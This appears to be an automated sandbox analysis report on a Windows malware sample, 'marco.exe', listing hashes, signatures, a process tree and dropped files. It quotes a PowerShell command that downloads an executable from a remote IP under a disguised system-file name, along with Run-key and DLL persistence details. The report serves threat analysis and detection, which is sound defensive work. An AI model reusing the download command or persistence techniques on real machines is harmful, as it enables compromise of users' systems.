Analysis
- max time kernel
37s - max time network
39s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260911-en - resource tags
arch:x64arch:x86image:win10ltsc2021-20260911-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows - submitted
01/10/2026, 20:05
Static task
static1
Behavioral task
behavioral1
Sample
marco.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
marco.exe
Resource
win10ltsc2021-20260911-en
General
- Target marco.exe
- Size 956KB
- Sample261001-yvb7days6k
- SHA256 1efa01ffacc75ec629997d734cce16a8e28a7abf31ab40a247996c56130e5efc
- MD5 22aafadd7963e499a1efa37c5150bdc6
- SHA1 17baf2e29f93f2ed051e5d56f5065d288e713fc9
- SHA512 c4e220aa6bab1e05705d2a79709f61f773659b01fc6db7accca3c64695cc9523c207175ac9b44af51bcc9a06c25000d53a5505c6a7f40c74bccf0f41b9c0fe41
- SSDEEP 12288:NF+NLmQri4dziSs5c/sZisjxalrYbe9Xq0j4Px8IYTz8dPXZrwvmS:CLxhfstiJq0gLizTvmS
- TLSH T15B256C26F6A900BDD0B6C1B5C9134903E772784A47317ADF07906AA71F27BE49E3EB11
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 23 3108 powershell.exe -
pid Process 3508 powershell.exe 3828 powershell.exe 3108 powershell.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 23 3108 powershell.exe - Executes dropped EXE 3 IoCs
pid Process 3584 wuausvhost.exe 4180 wuausvhost.exe 560 wuausvhost.exe - Loads dropped DLL 1 IoCs
pid Process 2824 svchost.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2814447569-4053889695-374664695-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UsoSessionWorker = "\"C:\\Windows\\system32\\wuausvhost.exe\"" marco.exe - Enumerates connected drives 3 TTPs 5 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe \??\F:\ powershell.exe \??\F:\ powershell.exe \??\E:\ Explorer.EXE \??\F:\ Explorer.EXE - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\wlbsctrl.dll marco.exe File opened for modification C:\Windows\system32\wlbsctrl.dll marco.exe File created C:\Windows\system32\wuausvhost.exe marco.exe File opened for modification C:\Windows\system32\wuausvhost.exe marco.exe - Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
pid Process 3508 powershell.exe 3828 powershell.exe - Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4796 cmd.exe 3764 cmd.exe 1984 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname marco.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain marco.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 3584 wuausvhost.exe 3584 wuausvhost.exe 4180 wuausvhost.exe 4180 wuausvhost.exe 3184 marco.exe 3184 marco.exe 3508 powershell.exe 3828 powershell.exe 3508 powershell.exe 3828 powershell.exe 3108 powershell.exe 3108 powershell.exe 560 wuausvhost.exe 560 wuausvhost.exe - Suspicious use of AdjustPrivilegeToken 56 IoCs
description pid Process Token: SeAuditPrivilege 2824 svchost.exe Token: SeShutdownPrivilege 3400 Explorer.EXE Token: SeCreatePagefilePrivilege 3400 Explorer.EXE Token: SeShutdownPrivilege 3400 Explorer.EXE Token: SeCreatePagefilePrivilege 3400 Explorer.EXE Token: SeDebugPrivilege 3508 powershell.exe Token: SeDebugPrivilege 3828 powershell.exe Token: SeIncreaseQuotaPrivilege 3828 powershell.exe Token: SeSecurityPrivilege 3828 powershell.exe Token: SeTakeOwnershipPrivilege 3828 powershell.exe Token: SeLoadDriverPrivilege 3828 powershell.exe Token: SeSystemProfilePrivilege 3828 powershell.exe Token: SeSystemtimePrivilege 3828 powershell.exe Token: SeProfSingleProcessPrivilege 3828 powershell.exe Token: SeIncBasePriorityPrivilege 3828 powershell.exe Token: SeCreatePagefilePrivilege 3828 powershell.exe Token: SeBackupPrivilege 3828 powershell.exe Token: SeRestorePrivilege 3828 powershell.exe Token: SeShutdownPrivilege 3828 powershell.exe Token: SeDebugPrivilege 3828 powershell.exe Token: SeSystemEnvironmentPrivilege 3828 powershell.exe Token: SeRemoteShutdownPrivilege 3828 powershell.exe Token: SeUndockPrivilege 3828 powershell.exe Token: SeManageVolumePrivilege 3828 powershell.exe Token: 33 3828 powershell.exe Token: 34 3828 powershell.exe Token: 35 3828 powershell.exe Token: 36 3828 powershell.exe Token: SeIncreaseQuotaPrivilege 3508 powershell.exe Token: SeSecurityPrivilege 3508 powershell.exe Token: SeTakeOwnershipPrivilege 3508 powershell.exe Token: SeLoadDriverPrivilege 3508 powershell.exe Token: SeSystemProfilePrivilege 3508 powershell.exe Token: SeSystemtimePrivilege 3508 powershell.exe Token: SeProfSingleProcessPrivilege 3508 powershell.exe Token: SeIncBasePriorityPrivilege 3508 powershell.exe Token: SeCreatePagefilePrivilege 3508 powershell.exe Token: SeBackupPrivilege 3508 powershell.exe Token: SeRestorePrivilege 3508 powershell.exe Token: SeShutdownPrivilege 3508 powershell.exe Token: SeDebugPrivilege 3508 powershell.exe Token: SeSystemEnvironmentPrivilege 3508 powershell.exe Token: SeRemoteShutdownPrivilege 3508 powershell.exe Token: SeUndockPrivilege 3508 powershell.exe Token: SeManageVolumePrivilege 3508 powershell.exe Token: 33 3508 powershell.exe Token: 34 3508 powershell.exe Token: 35 3508 powershell.exe Token: 36 3508 powershell.exe Token: SeShutdownPrivilege 3400 Explorer.EXE Token: SeCreatePagefilePrivilege 3400 Explorer.EXE Token: SeShutdownPrivilege 3400 Explorer.EXE Token: SeCreatePagefilePrivilege 3400 Explorer.EXE Token: SeDebugPrivilege 3108 powershell.exe Token: SeShutdownPrivilege 3400 Explorer.EXE Token: SeCreatePagefilePrivilege 3400 Explorer.EXE - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2824 wrote to memory of 3584 2824 svchost.exe 84 PID 3584 wrote to memory of 3400 3584 wuausvhost.exe 57 PID 3584 wrote to memory of 3400 3584 wuausvhost.exe 57 PID 4180 wrote to memory of 3400 4180 wuausvhost.exe 57 PID 4180 wrote to memory of 3400 4180 wuausvhost.exe 57 PID 3184 wrote to memory of 3400 3184 marco.exe 57 PID 3184 wrote to memory of 3400 3184 marco.exe 57 PID 3400 wrote to memory of 2896 3400 Explorer.EXE PID 3400 wrote to memory of 4796 3400 Explorer.EXE 95 PID 3400 wrote to memory of 3764 3400 Explorer.EXE 97 PID 4796 wrote to memory of 3508 4796 cmd.exe 99 PID 3764 wrote to memory of 3828 3764 cmd.exe 100 PID 3400 wrote to memory of 1984 3400 Explorer.EXE 102 PID 1984 wrote to memory of 3108 1984 cmd.exe 104 PID 560 wrote to memory of 3400 560 wuausvhost.exe 57 PID 560 wrote to memory of 3400 560 wuausvhost.exe 57 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3400 -
C:\Users\Admin\AppData\Local\Temp\marco.exe"C:\Users\Admin\AppData\Local\Temp\marco.exe"2⤵
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3184
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C:\Windows\system32\cmd.execmd.exe /C powershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4796 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3508
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C:\Windows\system32\cmd.execmd.exe /C powershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "$t = Get-ScheduledTask -TaskPath '*UpdateOrchestrator*' -TaskName 'UsoSessionWorker' -ErrorAction SilentlyContinue; $s = Get-Service -Name 'WinHttpAutoProxySvc2' -ErrorAction SilentlyContinue; $r = Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'UsoSessionWorker' -ErrorAction SilentlyContinue; if ($t -or $s -or $r) { 'PERSIST_ACTIVE' } else { 'PERSIST_INACTIVE' }"3⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3828
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://185.234.75.45:3000/stel.exe' -OutFile 'C:\ProgramData\Microsoft\Windows\Caches\wuausvhost.exe'"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://185.234.75.45:3000/stel.exe' -OutFile 'C:\ProgramData\Microsoft\Windows\Caches\wuausvhost.exe'"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\system32\wuausvhost.exe"C:\Windows\system32\wuausvhost.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3584
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C:\Windows\system32\wuausvhost.exeC:\Windows\system32\wuausvhost.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4180
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C:\Windows\system32\wuausvhost.exe"C:\Windows\system32\wuausvhost.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:560
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 be60000073a2adae6603febd3b4cdd6062485f931fc62a5278820273fadf7527
- MD5 0dd99dda36f4e13c987ab5cfb0042907
- SHA1 56e1b347299166c264bed377775cabd437658317
- SHA512 f0b64615ecf7cc5507d8a023195752b216e22d21812895badcbde9b095a08b1d8f9fd763a5cd90e948841d5ab3a9c760d540f98d9ea37120811c765e7dde0371
- TLSH T1A971E0313375B0E4C9567F07192819C023BF4395E698AF1CB69C521EE92750B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8dd8887b04548ef7847fa27e6f062e47933b2d127e01bbf0251205b9c0af8c76
- MD5 1d90b6d0ee9ba3029d26baa6399b5b23
- SHA1 a160c65b63f44f8afa24cdf61345db5d3fdc7436
- SHA512 41632e63b9edc3623e7ed53c74cdab9ead469e6add7687b9b3a8f65e78283abf091c87736f7d3c210b8de6b608283f985b4adfb188425ad81cb4c063900ebdd1
- TLSH T17F219223B39CC860CC89023B14AC9CA035B287C780CECF9B6FC4D215A17FA99CB201A0
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e5rebpyi.5ca.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\wlb6E55.tmp.dll
- Size 103KB
- SHA256 030a31a47580dd821cbe7963e0c8dd5f861bf539aaddd967d9786d183e050b87
- MD5 0b93e2ade05534b46cf1d794e30fde5b
- SHA1 266816924794758e6b25f9fef7299078fbdc5141
- SHA512 a275fe86ac4be95ddb506dff63e35ec45912b19a1947650b996bf4c8ff62a86a41dba9db7cd338b2a4b2802168b36fa63605c4a4be8215b0702f4504107bb990
- SSDEEP 3072:Nso5plrz0Llk8eGhbQbClPXuqjYrpqpqpsqDJG9ErzUOq:NrXz8lk92MClPXZQUUq
- TLSH T19CA3495B63E941BBE176963884A34A09EBB6B8150760AFEF0364025E1F233D09D3DF71
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\wuausvhost.exe
- Size 956KB
- SHA256 1efa01ffacc75ec629997d734cce16a8e28a7abf31ab40a247996c56130e5efc
- MD5 22aafadd7963e499a1efa37c5150bdc6
- SHA1 17baf2e29f93f2ed051e5d56f5065d288e713fc9
- SHA512 c4e220aa6bab1e05705d2a79709f61f773659b01fc6db7accca3c64695cc9523c207175ac9b44af51bcc9a06c25000d53a5505c6a7f40c74bccf0f41b9c0fe41
- SSDEEP 12288:NF+NLmQri4dziSs5c/sZisjxalrYbe9Xq0j4Px8IYTz8dPXZrwvmS:CLxhfstiJq0gLizTvmS
- TLSH T15B256C26F6A900BDD0B6C1B5C9134903E772784A47317ADF07906AA71F27BE49E3EB11
- MD5 SHA1 SHA512 SSDEEP TLSH